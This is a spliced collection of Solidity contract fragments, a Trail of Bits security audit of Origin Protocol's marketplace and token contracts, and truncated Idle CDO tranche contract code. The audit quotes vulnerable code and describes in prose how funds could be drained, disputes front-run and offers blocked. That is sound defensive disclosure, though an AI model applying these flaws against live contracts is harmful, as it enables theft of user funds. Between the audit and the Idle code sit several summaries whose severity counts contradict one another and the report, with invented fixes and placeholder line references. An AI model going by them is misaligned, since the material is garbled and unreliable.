transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } } pragma solidity ^0.4.24; import "../../../node_modules/openzeppelin-solidity/contracts/token/ERC20/ERC20.sol"; contract Spender { ERC20 token; // These are read back by the contract tests. address public sender; bytes32 public storedBytes32; bool public storedBool; uint8 public storedUint8; uint32 public storedUint32; uint256 public storedUint256; int8 public storedInt8; int256 public storedInt256; constructor(address _token) public { token = ERC20(_token); } function transferTokens( address _sender, uint256 amount, bytes32 _bytes32, bool _bool, uint8 _uint8, uint32 _uint32, uint256 _uint256, int8 _int8, int256 _int256 ) public payable { require(token.transferFrom(_sender, this, amount), "transferFrom failed"); sender = _sender; storedBytes32 = _bytes32; storedBool = _bool; storedUint8 = _uint8; storedUint32 = _uint32; storedUint256 = _uint256; storedInt8 = _int8; storedInt256 = _int256; } }
  O r i g i n P r o t o c o l   S e c u r i t y A s s e s s m e n t   November 28, 2018                   Prepared For:    Josh Fraser | Origin Protocol    josh@originprotocol.com     Prepared By:    Robert Tonic | Trail of Bits   robert.tonic@trailofbits.com      Michael Colburn | Trail of Bits   michael.colburn@trailofbits.com      Josselin Feist | Trail of Bits   josselin@trailofbits.com      Changelog:   November 28th, 2018: Initial report delivered   September 13th, 2019:   Added Appendix D with retest results        Executive Summary   Project Dashboard   Engagement Goals   Coverage   Recommendations Summary   Short Term   Long Term   Findings Summary   1. Marketplace OGN balance is drainable through withdrawListing   2. Disputes are front-runnable by a buyer   3. Remote code execution through arbitrary ERC20 implementation   4. ERC20 approve race conditions   5. Marketplace contract can trap funds if the whitelist is disabled   6. OriginToken contract migration breaks Marketplace offer references   7. Withdrawn listing prevents seller from withdrawing submitted offers   8. Seller finalization of an offer with an affiliate and commission results in trapped   funds   9. OriginToken migration while unpaused leads to inconsistent state   10. Marketplace cannot be Paused   A. Vulnerability Classifications   B. Code Quality   C. Automated ERC20 Property Testing   D. Fix Log   Detailed Fix Log   11. Tokens with external code execution can lead to theft of tokens through reentrancy           1  E x e c u t i v e S u m m a r y   Between November 13 and November 28, Trail of Bits assessed Origin Protocol’s   OriginToken , Marketplace , and migration contracts. Two engineers conducted this   assessment over the course of four person-weeks.     The assessment focused on the independent operation of the OriginToken and   Marketplace systems, as well as their components which interacted with each other.   Additionally, the upgrade pattern for the OriginToken contract was reviewed for scenarios   which could cause problems in the Marketplace system.     The assessment’s first week was spent familiarizing with the Origin Protocol smart   contracts and the associated components. This entailed building the components and   learning the expected use of each. Once the systems were built and base knowledge was   established, manual review of the Marketplace and OriginToken contracts took place.     The second week was spent developing property tests for the OriginToken contract, as   well as continuing manual review of the Marketplace and OriginToken migration   contracts. The migration contract was reviewed for issues which could arise before, during,   or after an OriginToken migration, and their impacts on Marketplace operations.     High-severity issues pertained to Marketplace arbitrary code execution and system   malfunction after contract migration. Issues classified as low- or medium-severity generally   pertained to the Marketplace contract, where fund loss or theft was possible. Finally,   informational-severity issues involved race conditions and pausable contracts.     The discovered vulnerabilities within the Marketplace , OriginToken , and TokenMigration   contracts are typical for these types of contracts. The Marketplace contract contains a   significant number of unique function implementations, which led to proportionately more   findings compared to the OriginToken contract. The Marketplace contract would benefit   significantly from unit testing to ensure funds are not trapped or otherwise inaccessible   through expected contract operations. On the other hand, the OriginToken contract is   mostly a standard ERC20 contract which heavily depends on the OpenZeppelin   implementation of the standard. The notable implementation of   approveAndCallWithSender introduces added complexity, but review has not yielded any   immediate concerns with this implementation and its intended interaction with the   Marketplace contract. The primary area of concern regarding the OriginToken is its   migration strategy, as the current implementation will break Marketplace operations.     We believe that all findings related to the Marketplace contract should be remediated, and   unit tests should be developed to further test currency-related operations. Redeployment       2  of the Marketplace contract will be necessary for these remediations. Additionally, further   development and testing of the migration pattern for both the OriginToken and   Marketplace contracts should take place, with special emphasis on the operations which   depend on each other. Once these steps are taken, we strongly recommend another   assessment before a live production system is released.     Update: On September 13, 2019 Trail of Bits reviewed the fixes proposed by Origin Protocol of   the issues presented in this report. The fixes were either fixed or their risk was accepted. The   detailed fixes log is present in Appendix D .         3  P r o j e c t D a s h b o a r d   Application Summary   Name   Origin Protocol   Version   4b31657825523962434c6d4e4c61feb0bb1ee518   Type   NodeJS, Solidity   Platforms   Ethereum     Engagement Summary   Dates   November 13 to 28, 2018   Method   Whitebox   Consultants Engaged   2   Level of Effort   4 person-weeks     Vulnerability Summary    Total High-Severity Issues   4   ◼ ◼ ◼ ◼   Total Medium-Severity Issues   4   ◼ ◼ ◼ ◼   Total Low-Severity Issues   1   ◼   Total Informational-Severity Issues   2   ◼ ◼   Total  11      Category Breakdown   Access Controls   3   ◼ ◼ ◼   Timing   2   ◼ ◼   Undefined Behavior   1   ◼   Patching   3   ◼ ◼ ◼   Data Validation   2   ◼ ◼   Total  11            4  E n g a g e m e n t G o a l s   The engagement was scoped to provide a security assessment of Origin Protocol’s smart   contracts. This included an ERC20 token implementation and its migration contract, and a   Marketplace contract.     Specifically, we sought to answer the following questions:     ●Is there any way for an unauthorized user to access user or Marketplace escrow   funds?   ●Could funds become trapped?   ●Is there any way to prevent a listing from being finalized?   ●Is there any property broken during or after a contract migration occurs?           5  C o v e r a g e   This review included the OriginToken contract and its migration contract, along with a   Marketplace contract. The master branch at commit 4b31...e518 was used during the   assessment.   The Marketplace contract was reviewed for flaws related to buyer and seller operations   such as creating, deleting, and modifying offers and listings. The dispute workflow was also   assessed to ensure correctness and vulnerability to manipulation by a malicious buyer or   seller.     The OriginToken contract was reviewed for flaws related to the ERC20 implementation, as   well as the implemented ERC827 approveAndCallWithSender function which was added to   perform Marketplace contract operations dependent on OriginToken s. An Echidna test   harness was also developed to assist testing of the OriginToken contract properties.           6  R e c o m m e n d a t i o n s S u m m a r y   S h o r t T e r m   ❑ Define a method of flagging a listing as withdrawn. By defining this flag, duplicate   withdrawals can be prevented if checked beforehand.     ❑ Encourage executing dispute transactions with a high gas price. This encourages   miner prioritization of the dispute transaction.     ❑ Ensure the affiliate address is not 0x0 or the Marketplace contract address. This will   help prevent errors on transfer , and prevent the Marketplace from receiving funds it   cannot withdraw.     ❑ Ensure documentation makes OriginToken users aware of the ERC20 approve race   condition. Use of the increaseApproval and decreaseApproval functions should be   suggested.     ❑ Implement a method for a seller or arbitrator to revoke an offer after it has been accepted without external contract calls. Removing this dependence will help prevent   situations where a malicious contract could break the dispute or finalization process.     ❑ Refund the deposit when an offer is finalized by the seller. This will prevent deposit   funds being lost in the Marketplace .     ❑ Do not depend on the listing to withdraw an offer. A user should be able to withdraw an   offer regardless of the status of the listing.     ❑ Add safeguards to TokenMigration. Check that both contracts are paused during a   migration.             7  L o n g T e r m   ❑ Consider allowing a window of time for disputes to be submitted. This will prevent a   buyer from finalizing before the seller can dispute an accepted offer.     ❑ Ensure the affiliate address is under active control and is aware of the affiliate status of the offer. Implement a function requiring the affiliate to claim his or her commission.     ❑ Consider if approveAndCallWithSender should be modified to use increaseApproval   and decreaseApproval . This will reduce exposure to the approve race condition in the   ERC20 standard.     ❑ Prevent arbitrary ERC20 contracts from being used as currency. Consider using a   whitelist of allowed contract addresses.     ❑ Decouple the listing and offer withdrawal logic. This could prevent issues where   dependant logic leads to broken offer or listing states.     ❑ Ensure the Marketplace contract can be paused. This will ensure safety and   consistency in the event of malicious activity or a required upgrade.     ❑ Use unit testing to identify situations which lead to trapped funds. Ensure that no   token is left once all listings are finalized or canceled.     ❑ Create tests to simulate migrations in different scenarios. This can be used to simulate   situations such as when one or both token contracts are left unpaused.     ❑ Perform an external audit of a contract prior its deployment. Deploying a contract   before it has been audited could result in contract abuse or costly re-deployment   operations.         8  F i n d i n g s S u m m a r y   #  Title   Type   Severity   1  Marketplace OGN balance is drainable   through withdrawListing  Access Controls  High   2  Disputes are front-runnable by a buyer   Timing   Medium   3  Remote code execution through arbitrary   ERC20 implementation  Undefined   Behavior  High   4  ERC20 approve race conditions   Timing   Informational   5  Marketplace contract can trap funds if the   whitelist is disabled  Access Controls  Medium   6  OriginToken contract migration breaks   Marketplace offer references  Patching   High   7  Withdrawn listing prevents seller from   withdrawing submitted offers  Data Validation  Low   8  Seller finalization of an offer with an   affiliate and commission results in   trapped funds  Access Controls  Medium   9  OriginToken migration while unpaused   leads to inconsistent state  Patching   Medium   10  Marketplace cannot be paused   Patching   Informational   11  Tokens with external code execution can   lead to theft of tokens through reentrancy  Data Validation  High             9  1 . M a r k e t p l a c e O G N b a l a n c e i s d r a i n a b l e t h r o u g h w i t h d r a w L i s t i n g   Severity: High Difficulty: Low   Type: Access Controls Finding ID: TOB-Origin-001   Target: origin-contracts/contracts/marketplace/v00/Marketplace.sol   Description   The Marketplace contract allows for the submission and withdrawal of listings by users.   When submitting a listing, an initial deposit may be made in OGN , and a deposit manager   address is assigned.      function _createListing ( address _seller , bytes32 _ipfsHash , // IPFS JSON with details, pricing, availability uint _deposit , // Deposit in Origin Token address _depositManager // Address of listing depositManager ) private { /* require(_deposit > 0); // Listings must deposit some amount of Origin Token */ require (_depositManager != 0x0 , "Must specify depositManager" ); listings. push ( Listing ({ seller : _seller, deposit : _deposit, depositManager : _depositManager })); if (_deposit > 0 ) { tokenAddr. transferFrom (_seller, this , _deposit); // Transfer Origin Token } emit ListingCreated (_seller, listings. length - 1 , _ipfsHash); } Figure 1: The internal _createListing function, used to create a listing by public methods.     When a listing is subsequently withdrawn by the listing’s deposit manager, the amount of   deposited OGN is transferred from the Marketplace ’s account to an account of the deposit   manager’s choosing:           10    function withdrawListing ( uint listingID , address _target , bytes32 _ipfsHash ) public { Listing storage listing = listings[listingID]; require ( msg . sender == listing.depositManager, "Must be depositManager" ); require (_target != 0x0 , "No target" ); tokenAddr. transfer (_target, listing.deposit); // Send deposit to target emit ListingWithdrawn (_target, listingID, _ipfsHash); } Figure 2: The public withdrawListing function, used to withdraw a listing.     Because there is no check on whether a listing has been withdrawn previously, the   withdrawal by the deposit manager can be repeated, draining the Marketplace OGN   account balance.     Exploit Scenario   Bob has an account with 20 OGN . The Marketplace contract has 100 OGN associated to its   address. Bob approve s the Marketplace contract to manage 20 of his account’s OGN . Bob   then creates a listing with a deposit of 20 OGN , and assigns himself as the listing deposit   manager. Bob subsequently withdraws the same listing 6 times into his account, resulting   in Bob recovering the initially deposited 20 OGN , and draining the Marketplace contract’s   original 100 OGN .     Recommendation   Define a method of flagging a listing as withdrawn. Check this flag is not set before   performing a withdrawal.           11  2 . D i s p u t e s a r e f r o n t - r u n n a b l e b y a b u y e r   Severity: Medium Difficulty: High   Type: Timing Finding ID: TOB-Origin-002   Target: origin-contracts/contracts/marketplace/v00/Marketplace.sol   Description   When a listing’s offer has been accepted, there is a period of time in which only the buyer   may finalize the offer (finalization window). However, either the buyer or the seller has the   ability to initiate a dispute during the finalization window.     function dispute ( uint listingID , uint offerID , bytes32 _ipfsHash ) public { Listing storage listing = listings[listingID]; Offer storage offer = offers[listingID][offerID]; require ( msg . sender == offer.buyer || msg . sender == listing.seller, "Must be seller or buyer" ); require (offer.status == 2 , "status != accepted" ); require ( now <= offer.finalizes, "Already finalized" ); offer.status = 3 ; // Set status to "Disputed" emit OfferDisputed ( msg . sender , listingID, offerID, _ipfsHash); } Figure 1: The dispute function, allowing a buyer or seller to submit a dispute regarding an   accepted offer.     Because the buyer is the only one able to finalize an offer during the finalization window, a   buyer could trick a seller into accepting an offer.     function finalize ( uint listingID , uint offerID , bytes32 _ipfsHash ) public { Listing storage listing = listings[listingID]; Offer storage offer = offers[listingID][offerID]; if ( now <= offer.finalizes) { // Only buyer can finalize before finalization window require ( msg . sender == offer.buyer, "Only buyer can finalize" ); } else { // Allow both seller and buyer to finalize if finalization window has passed require ( msg . sender == offer.buyer || msg . sender == listing.seller, "Seller or buyer must finalize" ); } ... } Figure 2: The finalize function, defining the finalization window which allows only a buyer to   finalize a listing with an offer.         12  The buyer then sees that the seller has submitted a transaction to dispute the accepted   offer, and subsequently submits a transaction to finalize the offer with a higher gas price,   resulting in the finalization transaction being mined before the dispute.     Exploit Scenario   Alice has a listing on the Origin market. Bob submits an offer to Alice’s listing, and tricks   Alice into accepting the offer. Alice realizes she was tricked, and attempts to submit a   dispute transaction. Bob observes Alice’s dispute transaction and submits a finalization   transaction with a higher gas price so that it is processed first, invalidating Alice’s dispute.     Recommendation   Short term, set disputes’ submission at a high gas price to encourage miner prioritization of   the transaction.     Long term, consider allowing a window of time for disputes to be submitted after an offer   has been accepted.           13  3 . R e m o t e c o d e e x e c u t i o n t h r o u g h a r b i t r a r y E R C 2 0 i m p l e m e n t a t i o n   Severity: High Difficulty: Low   Type: Undefined Behavior Finding ID: TOB-Origin-003   Target: origin-contracts/contracts/marketplace/v00/Marketplace.sol   Description   When a user creates an offer, the address to a deployed implementation of the ERC20   interface is accepted as the _currency parameter.     function makeOffer ( uint listingID , bytes32 _ipfsHash , // IPFS hash containing offer data uint _finalizes , // Timestamp an accepted offer will finalize address _affiliate , // Address to send any required commission to uint256 _commission , // Amount of commission to send in Origin Token if offer finalizes uint _value , // Offer amount in ERC20 or Eth ERC20 _currency, // ERC20 token address or 0x0 for Eth address _arbitrator // Escrow arbitrator ) public payable { ... offers[listingID]. push ( Offer ({ status : 1 , buyer : msg . sender , finalizes : _finalizes, affiliate : _affiliate, commission : _commission, currency : _currency, value : _value, arbitrator : _arbitrator, refund : 0 })); if ( address (_currency) == 0x0 ) { // Listing is in ETH require ( msg . value == _value, "ETH value doesn' t match offer"); } else { // Listing is in ERC20 require ( msg . value == 0 , "ETH would be lost" ); require ( _currency. transferFrom ( msg . sender , this , _value), "transferFrom failed" ); } emit OfferCreated ( msg . sender , listingID, offers[listingID].length - 1 , _ipfsHash); } Figure 1: The public makeOffer function, used for creating an offer for a listing.     Subsequently, the _currency parameter is stored in the listing struct, and used as the   method of payment for the offer.          14  function paySeller ( uint listingID , uint offerID ) private { Listing storage listing = listings[listingID]; Offer storage offer = offers[listingID][offerID]; uint value = offer.value - offer.refund; if ( address (offer.currency) == 0x0 ) { require (offer.buyer. send (offer.refund), "ETH refund failed" ); require (listing.seller. send (value), "ETH send failed" ); } else { require ( offer.currency. transfer (offer.buyer, offer.refund), "Refund failed" ); require ( offer.currency. transfer (listing.seller, value), "Transfer failed" ); } } Figure 2: The paySeller function, used to transfer the ERC20 tokens offered to the seller.     A malicious ERC20 implementation could prevent an offer from finalizing, since the logic for   finalization relies on a successful transfer call.     Exploit Scenario   Alice creates a listing on the Marketplace . Bob then submits an offer using a custom   MaliciousERC20 contract. Alice accepts Bob’s offer. Bob does not finalize the offer. Alice   waits for the finalization period to expire to finalize the offer. Bob uses the   MaliciousERC20 contract to revert on every call to transfer , resulting in an offer that can’t   be finalized.     Recommendation   Short term, implement a method for either a seller or arbitrator to revoke an offer after it   has been accepted, without performing calls to the _currency contract.     Long term, prevent arbitrary ERC20 contracts from being used for the currency method.   Consider using a whitelist of allowed contract addresses.           15  4 . E R C 2 0 a p p r o v e r a c e c o n d i t i o n s   Severity: Informational Difficulty: High   Type: Timing Finding ID: TOB-Origin-004   Target: origin-contracts/contracts/token/OriginToken.sol   Description   Origin conforms to the ERC20 token standard, which contains an unavoidable race   condition. This race condition is only exploitable by sophisticated attackers, but could result   in loss of funds for Origin users.     The ERC20 standard requires two functions, approve and transferFrom , which allow users   to designate other trusted parties to spend funds on their behalf. Calls to any Ethereum   function, including these, are visible to third parties prior to confirmation on-chain. A   sophisticated attacker can front-run them and insert their own transactions to occur before   the observed calls.     The approve function is defined to take an address and an amount, and set that address’s   allowance to the specified amount. Then, that address can call transferFrom and move up   to their allowance of tokens as if they were the owners. However, approve is specified to be   idempotent. It sets the approval to a new value regardless of its prior value; it doesn’t   modify the allowance.     Exploit Scenario   Alice, a non-malicious user, has previously approved Bob, a malicious actor, for 100 OGN .   She wishes to increase his approval to 150. Bob observes the approve(bob, 150)   transaction prior to its confirmation and front-runs it with a transferFrom(alice, bob, 100) . Then, as soon as the new approval is in, his allowance is set to 150 and he can call   transferFrom(alice, bob, 150) . Alice believes she’s setting Bob’s allowance to 150, and   he can only spend 150 tokens. Due to the race condition, Bob can spend 250 OGN .      Recommendation   Short term, ensure documentation makes users aware of this issue and that they may use   the increaseApproval and decreaseApproval functions inherited from the OpenZeppelin   token contracts.     Long term, consider if approveAndCallWithSender should be modified to use   increaseApproval and decreaseApproval as well.         16  5 . M a r k e t p l a c e c o n t r a c t c a n t r a p f u n d s i f t h e w h i t e l i s t i s d i s a b l e d   Severity: Medium Difficulty: Medium   Type: Access Controls Finding ID: TOB-Origin-005   Target: origin-contracts/contracts/marketplace/v00/Marketplace.sol   Description   The Marketplace contract protects listings from receiving offers from unauthorized   affiliates through the use of an affiliate whitelist. The makeOffer function checks to see if   the provided affiliate is 0x0 to prevent trapping tokens in the Marketplace contract.     function makeOffer ( uint listingID , bytes32 _ipfsHash , // IPFS hash containing offer data uint _finalizes , // Timestamp an accepted offer will finalize address _affiliate , // Address to send any required commission to uint256 _commission , // Amount of commission to send in Origin Token if offer finalizes uint _value , // Offer amount in ERC20 or Eth ERC20 _currency, // ERC20 token address or 0x0 for Eth address _arbitrator // Escrow arbitrator ) public payable { bool affiliateWhitelistDisabled = allowedAffiliates[ address ( this )]; require ( affiliateWhitelistDisabled || allowedAffiliates[_affiliate], "Affiliate not allowed" ); if (_affiliate == 0x0 ) { // Avoid commission tokens being trapped in marketplace contract. require (_commission == 0 , "commission requires affiliate" ); } ... Figure 1: The makeOffer function’s affiliate whitelist logic.     However, if the whitelist is disabled, the Marketplace contract address could be provided   as the affiliate address, thus the commission is distributed to the Marketplace contract   upon offer finalization.     function payCommission ( uint listingID , uint offerID ) private { Offer storage offer = offers[listingID][offerID]; if (offer.affiliate != 0x0 ) { require ( tokenAddr. transfer (offer.affiliate, offer.commission), "Commission transfer failed" ); } }     17  Figure 2: The payCommission function, with the check to see if the affiliate is 0x0.     Exploit Scenario   Alice creates a listing using the Marketplace contract, which does not have an active   whitelist. Bob then submits an offer for Alice’s listing, including the Marketplace contract   address as the affiliate address. Alice accepts the offer, which Bob finalizes. Upon   finalization, the commission OGN is distributed to the Marketplace contract balance.     Recommendation   Short term, ensure the affiliate address is not 0x0 , nor the address of the Marketplace   contract.     Long term, ensure the affiliate address is under active control and is aware of the affiliate   status of the offer. Consider implementing an acceptCommission or similar function,   requiring the affiliate to claim their commission.         18  6 . O r i g i n T o k e n c o n t r a c t m i g r a t i o n b r e a k s M a r k e t p l a c e o
Issues Count of Minor/Moderate/Major/Critical - Minor: 2 - Moderate: 2 - Major: 4 - Critical: 2 Minor Issues 2.a Problem: Marketplace OGN balance is drainable through withdrawListing 2.b Fix: Add a check to ensure that the OGN balance is greater than the amount being withdrawn Moderate Issues 3.a Problem: Disputes are front-runnable by a buyer 3.b Fix: Add a check to ensure that the dispute is not already in progress Major Issues 4.a Problem: Remote code execution through arbitrary ERC20 implementation 4.b Fix: Add a check to ensure that the ERC20 implementation is valid Critical Issues 5.a Problem: Marketplace contract can trap funds if the whitelist is disabled 5.b Fix: Add a check to ensure that the whitelist is enabled before funds are transferred Issues Count of Minor/Moderate/Major/Critical: - Minor: 0 - Moderate: 0 - Major: 1 - Critical: 0 Observations: - The Marketplace contract contains a significant number of unique function implementations, which led to proportionately more findings compared to the OriginToken contract. - The Marketplace contract would benefit significantly from unit testing to ensure funds are not trapped or otherwise inaccessible through expected contract operations. - The OriginToken contract is mostly a standard ERC20 contract which heavily depends on the OpenZeppelin implementation of the standard. - The primary area of concern regarding the OriginToken is its migration strategy, as the current implementation will break Marketplace operations. Conclusion: - All findings related to the Marketplace contract should be remediated, and unit tests should be developed to further test currency-related operations. - Redeployment of the Marketplace contract will be necessary for these remediations. - Further development and testing of the migration pattern for both the OriginToken and Marketplace contracts should take place, with special emphasis on the operations which depend on each other. - Another assessment should be conducted before a live production system is released. Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 4 - Major: 1 - Critical: 0 Minor Issues 2.a Problem (one line with code reference): Insufficient access control for certain functions (OriginToken.sol:L51) 2.b Fix (one line with code reference): Restrict access to certain functions (OriginToken.sol:L51) Moderate Issues 3.a Problem (one line with code reference): Insufficient data validation for certain functions (OriginToken.sol:L51) 3.b Fix (one line with code reference): Implement data validation for certain functions (OriginToken.sol:L51) Major Issues 4.a Problem (one line with code reference): Potential for funds to become trapped (OriginToken.sol:L51) 4.b Fix (one line with code reference): Implement a mechanism to prevent funds from becoming trapped (OriginToken.sol:L51) Critical Issues None Observations - The engagement was scoped to provide a security assessment of Origin Protocol's smart contracts. - The review included an ERC20 token implementation and its migration
//SPDX-License-Identifier: Apache 2.0 pragma solidity 0.8.4; import "hardhat/console.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; /// @dev Inherit this contract and add the _guarded method to the child contract abstract contract GuardedLaunchUpgradable is Initializable, OwnableUpgradeable, ReentrancyGuardUpgradeable { using SafeERC20Upgradeable for IERC20Upgradeable; // TVL limit in underlying value uint256 public limit; // recovery address address public governanceRecoveryFund; /// @param _limit TVL limit /// @param _governanceRecoveryFund recovery address /// @param _owner owner address function __GuardedLaunch_init(uint256 _limit, address _governanceRecoveryFund, address _owner) internal initializer { require(_governanceRecoveryFund != address(0), 'Address is 0'); // Initialize inherited contracts OwnableUpgradeable.__Ownable_init(); ReentrancyGuardUpgradeable.__ReentrancyGuard_init(); // Initialize state variables limit = _limit; governanceRecoveryFund = _governanceRecoveryFund; // Transfer ownership transferOwnership(_owner); } /// @notice this check should be called inside the child contract on deposits to check that the /// TVL didn't exceed a threshold /// @param _amount new amount to deposit function _guarded(uint256 _amount) internal view { if (limit == 0) { return; } require(getContractValue() + _amount <= limit, 'Contract limit'); } /// @notice abstract method, should return the TVL in underlyings function getContractValue() public virtual view returns (uint256); /// @notice set contract TVL limit /// @param _limit limit in underlying value, 0 means no limit function _setLimit(uint256 _limit) external onlyOwner { limit = _limit; } /// @notice Emergency method, tokens gets transferred to the governanceRecoveryFund address /// @param _token address of the token to transfer /// @param _value amount to transfer function transferToken(address _token, uint256 _value) external onlyOwner nonReentrant { IERC20Upgradeable(_token).safeTransfer(governanceRecoveryFund, _value); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.8.4; contract IdleCDOTrancheRewardsStorage { uint256 public constant ONE_TRANCHE_TOKEN = 10**18; address public idleCDO; address public tranche; address public governanceRecoveryFund; address[] public rewards; // amount staked for each user mapping(address => uint256) public usersStakes; // globalIndex for each reward token mapping(address => uint256) public rewardsIndexes; // per-user index for each reward token mapping(address => mapping(address => uint256)) public usersIndexes; // user => block number when user staked last time mapping(address => uint256) public usersStakeBlock; uint256 public totalStaked; uint256 public coolingPeriod; } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.8.4; import "hardhat/console.sol"; import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol'; import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol"; import "./interfaces/IIdleCDOStrategy.sol"; import "./interfaces/IERC20Detailed.sol"; import "./interfaces/IIdleCDOTrancheRewards.sol"; import "./GuardedLaunchUpgradable.sol"; import "./IdleCDOTranche.sol"; import "./IdleCDOStorage.sol"; /// @title A continous tranche implementation /// @author Idle Labs Inc. /// @dev The contract is upgradable, to add storage slots, create IdleCDOStorageVX and inherit from IdleCDOStorage, then update the definitaion below contract IdleCDO is Initializable, PausableUpgradeable, GuardedLaunchUpgradable, IdleCDOStorage { using SafeERC20Upgradeable for IERC20Detailed; // ################### // Initializer // ################### /// @notice can only be called once /// @dev Initialize the upgradable contract /// @param _limit contract value limit /// @param _guardedToken underlying token /// @param _governanceFund address where funds will be sent in case of emergency /// @param _owner guardian address /// @param _rebalancer rebalancer address /// @param _strategy strategy address /// @param _trancheAPRSplitRatio trancheAPRSplitRatio value /// @param _trancheIdealWeightRatio trancheIdealWeightRatio value /// @param _incentiveTokens array of addresses for incentive tokens function initialize( uint256 _limit, address _guardedToken, address _governanceFund, address _owner, // GuardedLaunch args address _rebalancer, address _strategy, uint256 _trancheAPRSplitRatio, // for AA tranches, so eg 10000 means 10% interest to AA and 90% BB uint256 _trancheIdealWeightRatio, // for AA tranches, so eg 10000 means 10% of tranches are AA and 90% BB address[] memory _incentiveTokens ) public initializer { // Initialize contracts PausableUpgradeable.__Pausable_init(); GuardedLaunchUpgradable.__GuardedLaunch_init(_limit, _governanceFund, _owner); // Deploy Tranches tokens AATranche = address(new IdleCDOTranche("Idle CDO AA Tranche", "IDLE_CDO_AA")); BBTranche = address(new IdleCDOTranche("Idle CDO BB Tranche", "IDLE_CDO_BB")); // Set CDO params token = _guardedToken; strategy = _strategy; strategyToken = IIdleCDOStrategy(_strategy).strategyToken(); rebalancer = _rebalancer; trancheAPRSplitRatio = _trancheAPRSplitRatio; trancheIdealWeightRatio = _trancheIdealWeightRatio; idealRange = 10000; // trancheIdealWeightRatio ± 10% uint256 _oneToken = 10**(IERC20Detailed(_guardedToken).decimals()); oneToken = _oneToken; uniswapRouterV2 = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); incentiveTokens = _incentiveTokens; priceAA = _oneToken; priceBB = _oneToken; lastAAPrice = _oneToken; lastBBPrice = _oneToken; unlentPerc = 2000; // 2% // Set flags allowAAWithdraw = true; allowBBWithdraw = true; revertIfTooLow = true; // skipDefaultCheck = false is the default value // Set allowance for strategy IERC20Detailed(_guardedToken).safeIncreaseAllowance(_strategy, type(uint256).max); IERC20Detailed(strategyToken).safeIncreaseAllowance(_strategy, type(uint256).max); // Save current strategy price lastStrategyPrice = strategyPrice(); // Fee params fee = 10000; // 10% performance fee feeReceiver = address(0xBecC659Bfc6EDcA552fa1A67451cC6b38a0108E4); // feeCollector guardian = _owner; } // ############### // Public methods // ############### /// @notice pausable /// @dev msg.sender should approve this contract first to spend `_amount` of `token` /// @param _amount amount of `token` to deposit /// @return AA tranche tokens minted function depositAA(uint256 _amount) external whenNotPaused returns (uint256) { return _deposit(_amount, AATranche); } /// @notice pausable /// @dev msg.sender should approve this contract first to spend `_amount` of `token` /// @param _amount amount of `token` to deposit /// @return BB tranche tokens minted function depositBB(uint256 _amount) external whenNotPaused returns (uint256) { return _deposit(_amount, BBTranche); } /// @notice pausable /// @param _amount amount of AA tranche tokens to burn /// @return underlying tokens redeemed function withdrawAA(uint256 _amount) external nonReentrant returns (uint256) { require(!paused() || allowAAWithdraw, 'IDLE:AA_!ALLOWED'); return _withdraw(_amount, AATranche); } /// @notice pausable /// @param _amount amount of BB tranche tokens to burn /// @return underlying tokens redeemed function withdrawBB(uint256 _amount) external nonReentrant returns (uint256) { require(!paused() || allowBBWithdraw, 'IDLE:BB_!ALLOWED'); return _withdraw(_amount, BBTranche); } // ############### // Views // ############### /// @param _tranche tranche address /// @return tranche price function tranchePrice(address _tranche) external view returns (uint256) { return _tranchePrice(_tranche); } /// @param _tranche tranche address /// @return last tranche price function lastTranchePrice(address _tranche) external view returns (uint256) { return _lastTranchePrice(_tranche); } /// @notice rewards (gov tokens) are not counted. It may include non accrued fees (in unclaimedFees) /// @return contract value in underlyings function getContractValue() public override view returns (uint256) { address _strategyToken = strategyToken; // strategyTokens value in underlying + unlent balance uint256 strategyTokenDecimals = IERC20Detailed(_strategyToken).decimals(); return (_contractTokenBalance(_strategyToken) * strategyPrice() / (10**(strategyTokenDecimals))) + _contractTokenBalance(token); } /// @param _tranche tranche address /// @return apr at ideal trancheIdealWeightRatio balance between AA and BB function getIdealApr(address _tranche) external view returns (uint256) { return _getApr(_tranche, trancheIdealWeightRatio); } /// @param _tranche tranche address /// @return actual apr given current ratio between AA and BB tranches function getApr(address _tranche) external view returns (uint256) { return _getApr(_tranche, getCurrentAARatio()); } /// @return strategy net apr function strategyAPR() public view returns (uint256) { return IIdleCDOStrategy(strategy).getApr(); } /// @return strategy price, in underlyings function strategyPrice() public view returns (uint256) { return IIdleCDOStrategy(strategy).price(); } /// @return array of reward 